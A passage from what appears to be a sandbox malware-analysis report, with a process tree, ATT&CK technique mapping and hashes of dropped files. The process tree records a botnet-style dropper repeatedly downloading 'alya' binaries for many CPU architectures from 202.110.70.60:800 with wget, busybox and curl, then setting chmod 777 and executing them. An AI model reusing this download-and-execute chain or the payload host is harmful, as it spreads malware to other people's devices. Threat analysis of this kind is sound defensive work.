  PID:1767
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:1768
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1770
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1771
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1772
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1775
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1776
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1777
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1778
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1779
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1780
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1781
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1783
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1784
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1785
- /bin/chmod
  chmod 777 alya.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1786
- /tmp/alya.mips
  ./alya.mips android.alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1787
- /bin/rm
  rm -rf alya.mips
  2⤵
  - System Network Configuration Discovery
  PID:1789
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1790
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sh4
  2⤵
  PID:1791
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1793
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:1794
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1795
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1796
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:1797
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1798
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:1799
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1801
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1802
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sh4
  2⤵
  - Writes file to tmp directory
  PID:1803
- /bin/chmod
  chmod 777 alya.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1820
- /tmp/alya.sh4
  ./alya.sh4 android.alya.sh4
  2⤵
  PID:1821
- /bin/rm
  rm -rf alya.sh4
  2⤵
  PID:1823
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1824
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv4l
  2⤵
  PID:1825
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1827
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1828
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1829
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1830
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1831
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1832
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1833
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1835
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1836
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1837
- /bin/chmod
  chmod 777 alya.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1838
- /tmp/alya.armv4l
  ./alya.armv4l android.alya.armv4l
  2⤵
  PID:1839
- /bin/rm
  rm -rf alya.armv4l
  2⤵
  PID:1841
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1842
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv7l
  2⤵
  PID:1843
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1845
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1846
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1847
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1848
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1849
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1850
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1851
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1853
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1854
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1855
- /bin/chmod
  chmod 777 alya.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1856
- /tmp/alya.armv7l
  ./alya.armv7l android.alya.armv7l
  2⤵
  PID:1857
- /bin/rm
  rm -rf alya.armv7l
  2⤵
  PID:1859
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1860
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i686
  2⤵
  PID:1861
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1863
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1864
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1865
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1866
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:1867
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1868
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1869
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1871
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1872
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:1873
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1874
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1875
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1877
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1878
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1879
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1881
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1882
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1883
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1884
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1885
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1886
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1887
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1889
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1890
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1891
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1892
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1893
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1895
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1896
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1897
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1899
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1900
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1901
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1902
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1903
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1904
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1905
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1907
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1908
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1909
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1910
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1911
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1913
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1914
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1915
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1917
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1918
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1919
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1920
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1921
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1922
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1923
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1925
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1926
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1927
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1930
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1931
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1933
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1934
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1935
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1937
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1938
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1939
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1940
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1941
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1942
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1943
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1945
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1946
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1947
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1948
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1949
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1951
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1952
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1953
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1955
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1956
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1957
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1958
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1959
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1960
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1961
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1963
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1964
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1965
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1966
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1967
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1969
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1970
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1971
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1973
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1974
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1975
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1976
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1977
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1978
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1979
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1981
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1982
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1983
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1984
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1985
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1987
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1988
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1989
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1991
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1992
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1993
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1994
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1995
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1996
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1997
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1999
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:2000
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:2001
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:2002
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:2003
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:2005

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 314B
SHA256 59b7161256afecad2630d52b308654b2f1524ba1fd9c297eab1aec137c91588a
MD5 7a05ee66bba94e232b3754ad9f462c3f
SHA1 ee37e00f154f20b99ba06eff23390fe7eb1b644d
SHA512 836a500d40e552a3890af2382873589c7edb05fc45429580d2265aa0ef7b6ac638adca9aa82ac086ccea85d5db3190e81dae3aa3446a4e3ff252245fe07bd6bb
TLSH
T149E026AA09AA011E28C7D7A36401730603BC11B62D022849CECC48BC59098A6CD97456
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 314B
SHA256 44240abf8d37bfbc2f293a5715da7862899f029fa7b016cb9bda8a3b6a72a57f
MD5 e427995340200ecadd1cf20d1dc5db3e
SHA1 c5e8dc3530973bd908e8ca6d6e164e84652108f4
SHA512 dc60180a293cfa06b1feab1eb3c959f9a2c20386b3431063fc2709804b45c0189a67aca68587f690e966108d3fa1767666bd4d891428e60ea0985d38aba94c08
TLSH
T140E026AA09EA011E28C7D7A36401730603BC11F62E022849CECC48BC59098B6CD97556
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 314B
SHA256 e23c3722ad08767927f2809602e846b30a0a7eb9dda56047528d802ca4da9196
MD5 5d135be7687e55c2400606488b877a85
SHA1 dfed284e9724254ec57aa81beb466ec110c4b69d
SHA512 3fbd426fc3ba876eac7e437357f706f1f7a3b8442a7ad733461adbccbf929ea382dc2c8a2fa3e8717f5b6ffa1273372a8678517b4bbca5100e90a7dbdc7a2b3d
TLSH
T147E026BA09AA011E28C7D7A36401730603BC11B62E022849CECC08BC59098A6CD9745A
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 29B
SHA256 10762057bb770981d2efca69d58e46b3ade1467d8cb2dd65d1d8b445673e552f
MD5 ad380702d0da1e6efeb89af30f74c8aa
SHA1 553c9bce70a1916778ee81b30985236f193e651f
SHA512 888026640e4ea4db5669cf5c577c1723667e32e7d3c90d2c6ac814ef1c6057143535a05d29b968bc030c48fffb727222f3c998aa0a4d9fd0ee96caaaa65224f2
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 28e1d597f21294bc3c4df7b8f6ff0ebade31f2c5655274dbd0efc9880663c43d
MD5 70e291bc107050648ddbe2937defbb77
SHA1 28c1ebf41bee3deab28deffc45fb73aa713922bb
SHA512 2d2cc46b277d82d3f1f46c81da0f5ec5341f06f223d0579a8b0c9e1e94a213a7f539de4eb9ffbeb1c9696b2e4e12699290399dfeb5c49ac7a0bb81898153e843
TLSH
T1252134218FDAA894CAAD8358C76AF4101070B21924D06D71354EC57CBF37DDB9388BD8
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 9ffdd272718f6a511be7ec8e916c1598446c2ae092f4cc08af9aa47e680051b3
MD5 866687234432a398d9450971ff4c126a
SHA1 860baf42828845fdc4b2e7521ba9c406832050bf
SHA512 9ff1423e681b8ac1d77817844a293a3663562a598242c8fbf54e1d87aa86615df427f02228beb989e55bea0196874f347ebf53080075be2be8ac73ef28ccce01
TLSH
T10D2134218FDAA894CAAD8358C76AF4101070B21924D06D71354EC57CBF37DDB9388BE8
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 1KB
SHA256 776dc5cd122d161effb7a2db09ba89e15cc7fd2c4799af588ebd6539044493bc
MD5 7e764dc6701b6e939e5b111302fbb79a
SHA1 961aba8b22a3711fefd9ee0677448df7aedc18aa
SHA512 4ecac760ed5063b1451a8af680c00e9fe804eeb6e69871646e62cfe4f042c962a34fca0df3dac4735e11544dd9cc03bff7dac884c2e80e5fe1dc39029b7bc288
TLSH
T1192134618FDAA894CAAD8358C76AF4101070B21924D06D71354EC57CBF37EDB9388BD8
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 37KB
SHA256 ac64d5b4f5a8ea76ebfb151f5975783f5bf47b08e7f938417951e5d36d82f713
MD5 e37b94dfcaa56924142c344edcb3652a
SHA1 036eb285901265c83f7640c8abe4cc452d569d46
SHA512 8c8d46164968b54453543a61a26b60bfe8570d9c9deb0d19c7431bdef909f37153bbe9aec7769a556baea952c41f97f12069869bd5a3e0dec090d263c1b5df55
SSDEEP 768:nI9cJGf/3ROYHq4LJSgi33la8maoQHxQh0qjZ8C+VVSAtIs:nI93f/3ROYK4LJSr31Ho4x+0+90SS
TLSH
T1D4035C85EE82D8F6FD93067215B7AB3647B5D4390039DBA5C324C739AD53601AA3B38C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads